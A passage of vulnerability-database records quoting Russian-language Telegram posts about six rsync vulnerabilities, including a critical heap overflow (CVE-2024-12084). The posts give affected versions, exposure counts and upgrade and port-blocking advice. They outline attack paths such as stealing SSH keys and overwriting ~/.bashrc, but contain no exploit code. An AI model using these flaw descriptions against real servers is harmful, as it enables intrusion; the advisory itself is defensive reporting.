\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\nCERT/C \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0441 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 Rsync, \u043e\u0442\u043c\u0435\u0442\u0438\u0432 Red Hat, Arch, Gentoo, Ubuntu NixOS, AlmaLinux OS Foundation \u0438 Triton Data Center \u043a\u0430\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u043c\u043d\u043e\u0433\u0438\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u044b \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0438\u043a\u0430\u043a \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043b\u0438.\n\n\u0412 \u0441\u0432\u043e\u0435\u043c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 \u043f\u043e CVE-2024-12084 RedHat \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043c\u0435\u0440 \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Rsync \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\u0412 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e Shodan, \u0432 \u0441\u0435\u0442\u0438 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 660 000 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 Rsync. \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e - \u0432 \u041a\u0438\u0442\u0430\u0435 (521 000), \u0434\u0430\u043b\u0435\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u0421\u0428\u0410, \u0413\u043e\u043d\u043a\u043e\u043d\u0433, \u041a\u043e\u0440\u0435\u044f, \u0420\u043e\u0441\u0441\u0438\u044f \u0438 \u0413\u0435\u0440\u043c\u0430\u043d\u0438\u044f, \u043d\u043e \u0438\u0445 \u0447\u0438\u0441\u043b\u043e \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0435\u043d\u044c\u0448\u0435.\n\n\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync 306 517 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 TCP-\u043f\u043e\u0440\u0442\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e 873, \u0430 21 239 \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u044e\u0442 \u043f\u043e\u0440\u0442 8873, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f Rsync \u0447\u0435\u0440\u0435\u0437 \u0442\u0443\u043d\u043d\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 SSH.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043d\u0435\u044f\u0441\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043b\u0438 \u043e\u043d\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f\u00a0\u00a0\u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435\u00a0\u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.4.0 \u0438\u043b\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0434\u0435\u043c\u043e\u043d \u043d\u0430 \u0437\u0430\u043f\u0440\u043e\u0441 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c TCP-\u043f\u043e\u0440\u0442 873 \u043f\u043e \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0443, \u0447\u0442\u043e\u0431\u044b \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043d\u0435 \u0431\u044b\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e.", "creation_timestamp": "2025-01-16T12:11:14.000000Z"}, {"uuid": "279f4f9c-4f3f-4abc-af1b-853c64420fa9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://t.me/true_secator/6625", "content": "\u0411\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0448\u0435\u0441\u0442\u0438 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445.\n\nRsync - \u044d\u0442\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f (Rclone, DeltaCopy, ChronoSync), \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043e\u0431\u043b\u0430\u043a\u0430\u043c\u0438 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Rsync \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b Google Cloud \u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438. \u041e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u0414\u043b\u044f \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 rsync, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u043c\u0443 \u0437\u0435\u0440\u043a\u0430\u043b\u0443, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430.\n\n\u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u0440\u0435\u0434\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432:\n\n- \u041f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 (CVE-2024-12084, CVSS: 9.8): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0432 \u0434\u0435\u043c\u043e\u043d\u0435 Rsync, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u043e\u0442 3.2.7 \u0434\u043e < 3.4.0 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE.\n\n- \u0423\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 (CVE-2024-12085, CVSS: 7.5): \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0443\u0442\u0435\u0447\u043a\u0443 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u0442\u0435\u043a\u0430 \u043f\u0440\u0438 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0444\u0430\u0439\u043b\u043e\u0432. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u0438\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0447\u0442\u043e\u0431\u044b \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- Server Leaks Arbitrary Client Files (CVE-2024-12086, CVSS: 6.1): \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0443\u0442\u0438 (CVE-2024-12087, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0430\u0434\u0435\u043a\u0432\u0430\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --inc-recursive. \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u0412\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0 \u0443\u044f\u0437\u0432\u0438\u043c\u044b.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links (CVE-2024-12088, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442, \u043a\u043e\u0433\u0434\u0430 Rsync \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u043b\u0436\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438. \u042d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 (CVE-2024-12747, CVSS: 5.6): \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\nCERT/C \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0441 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 Rsync, \u043e\u0442\u043c\u0435\u0442\u0438\u0432 Red Hat, Arch, Gentoo, Ubuntu NixOS, AlmaLinux OS Foundation \u0438 Triton Data Center \u043a\u0430\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u043c\u043d\u043e\u0433\u0438\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u044b \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0438\u043a\u0430\u043a \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043b\u0438.\n\n\u0412 \u0441\u0432\u043e\u0435\u043c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 \u043f\u043e CVE-2024-12084 RedHat \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043c\u0435\u0440 \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Rsync \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\u0412 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e Shodan, \u0432 \u0441\u0435\u0442\u0438 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 660 000 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 Rsync. \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e - \u0432 \u041a\u0438\u0442\u0430\u0435 (521 000), \u0434\u0430\u043b\u0435\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u0421\u0428\u0410, 